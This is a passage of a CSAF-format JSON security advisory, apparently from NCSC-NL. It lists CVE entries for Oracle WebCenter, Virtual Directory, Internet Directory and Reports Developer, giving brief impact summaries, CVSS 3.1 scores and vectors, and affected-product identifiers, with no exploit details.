"title": "CVE-2026-61228"
},
{
"cve": "CVE-2026-61229",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61229 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61229.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61229"
},
{
"cve": "CVE-2026-61230",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61230 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61230.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61230"
},
{
"cve": "CVE-2026-61231",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Virtual Directory versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with LDAP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61231 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61231.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61231"
},
{
"cve": "CVE-2026-61241",
"notes": [
{
"category": "description",
"text": "A critical LDAP vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers to fully compromise systems, with a CVSS 3.1 base score of 10.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61241 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61241.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 10.0,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61241"
},
{
"cve": "CVE-2026-61248",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61248 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61248.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61248"
},
{
"cve": "CVE-2026-61258",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61258 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61258.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61258"
},
{
"cve": "CVE-2026-61288",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61288 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61288.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61288"
},
{
"cve": "CVE-2026-61290",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially compromise system confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61290 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61290.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61290"
},
{
"cve": "CVE-2026-61291",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with infrastructure access to potentially compromise system confidentiality, integrity, and availability, rated with a CVSS 3.1 base score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61291 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61291.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61291"
},
{
"cve": "CVE-2026-61295",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with infrastructure logon to access critical or all accessible data, with a CVSS 3.1 base score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61295 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61295.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61295"
},
{
"cve": "CVE-2026-62608",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with network access via CORBA to fully compromise the product, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62608 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62608.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62608"
},
{
"cve": "CVE-2026-62609",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62609 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62609.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62609"
},
{
"cve": "CVE-2026-62610",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access and manipulate or delete critical data via HTTP, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62610 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62610.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62610"
},
{
"cve": "CVE-2026-62611",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62611 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62611.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62611"
},
{
"cve": "CVE-2026-62612",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62612 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62612.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62612"
},
{
"cve": "CVE-2026-62613",
"notes": [
{
"category": "description",
"text": "A critical vulnerability (CVSS 9.3) in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with physical network access to compromise the product, enabling unauthorized data creation, deletion, or modification.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62613 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62613.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62613"
},
{
"cve": "CVE-2026-62614",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62614 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62614.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62614"
},
{
"cve": "CVE-2026-62615",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows low-privileged attackers with HTTP network access to potentially compromise confidentiality, integrity, and availability, with a CVSS score of 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62615 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62615.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62615"
},
{
"cve": "CVE-2026-62616",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with SMTP network access to perform unauthorized data modifications and cause partial denial of service, affecting product integrity and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62616 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62616.json"
}
],
"scores": [
{
